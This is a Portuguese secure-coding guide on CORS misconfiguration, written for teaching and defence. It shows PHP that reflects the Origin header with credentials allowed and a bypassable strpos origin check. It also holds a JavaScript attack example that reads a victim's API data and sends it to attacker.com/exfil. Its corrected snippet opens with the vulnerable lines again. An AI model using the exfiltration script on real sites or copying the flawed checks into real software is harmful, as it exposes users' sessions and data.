Skip to content

CORS Misconfiguration

CORS (Cross-Origin Resource Sharing) é um mecanismo de segurança do navegador que controla como páginas web em uma origem podem solicitar recursos de outra origem. Por padrão, o navegador bloqueia requisições cross-origin — o CORS é a forma que o servidor tem de relaxar essa restrição de forma controlada, informando ao navegador quais origens são permitidas através de cabeçalhos HTTP.

Uma misconfiguration de CORS ocorre quando o servidor configura esses cabeçalhos de forma permissiva demais, permitindo que origens não confiáveis acessem recursos protegidos — especialmente quando combinado com Access-Control-Allow-Credentials: true, que autoriza o envio de cookies e tokens de sessão nas requisições cross-origin.

O padrão mais comum e perigoso é refletir diretamente o valor do cabeçalho Origin da requisição na resposta, sem validar se aquela origem é confiável:

// Qualquer origem é aceita — o servidor reflete de volta o que vier
$origin = $_SERVER['HTTP_ORIGIN'] ?? '*';
header("Access-Control-Allow-Origin: " . $origin);
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE");
header("Access-Control-Allow-Headers: Authorization, Content-Type");

Com isso, um atacante hospedado em https://attacker.com pode fazer uma requisição autenticada para a API da vítima e ler a resposta:

// Script malicioso em https://attacker.com
fetch("https://api.company.com.br/usuario/dados-sensiveis", {
method: "GET",
credentials: "include", // envia cookies de sessão da vítima
})
.then(res => res.json())
.then(data => {
// dados sensíveis da vítima enviados para o servidor do atacante
fetch("https://attacker.com/exfil", {
method: "POST",
body: JSON.stringify(data),
});
});

Outra variação ocorre quando a validação verifica apenas se a origem contém o domínio da empresa, sem ancorar corretamente:

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
// Vulnerável: strpos verifica apenas se contém "company.com.br",
// sem verificar o domínio completo
if (strpos($origin, 'company.com.br') !== false) {
header("Access-Control-Allow-Origin: " . $origin);
header("Access-Control-Allow-Credentials: true");
}

Um atacante registrando o domínio company.com.br.attacker.com passa nessa validação e obtém acesso.

Uma misconfiguration de CORS combinada com Allow-Credentials: true pode permitir que um atacante:

  • Leia respostas de requisições autenticadas em nome da vítima, expondo dados pessoais, tokens e informações internas.
  • Roube tokens de autenticação ou dados de sessão armazenados em cookies HttpOnly (acessíveis via resposta da API).
  • Execute ações em nome da vítima em APIs que dependem de cookies para autenticação.
  • Realize exfiltração silenciosa de dados ao atrair a vítima para uma página maliciosa.
  • Comprometa a conta do usuário sem nenhuma interação além de visitar um link.

A correção consiste em validar a origem contra uma allowlist explícita antes de emitir o cabeçalho Access-Control-Allow-Origin. Nunca reflita o valor da Origin sem validação.

$origin = $_SERVER['HTTP_ORIGIN'] ?? '*';
header("Access-Control-Allow-Origin: " . $origin);
header("Access-Control-Allow-Credentials: true");
$allowedOrigins = [
'https://app.company.com.br',
'https://admin.company.com.br',
];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($origin, $allowedOrigins, true)) {
header("Access-Control-Allow-Origin: " . $origin);
header("Access-Control-Allow-Credentials: true");
header("Vary: Origin");
}

Inclua também o cabeçalho Vary: Origin sempre que a resposta variar com base na origem, para evitar que proxies e CDNs armazenem em cache uma resposta com o cabeçalho Access-Control-Allow-Origin de uma origem e a sirvam para outra.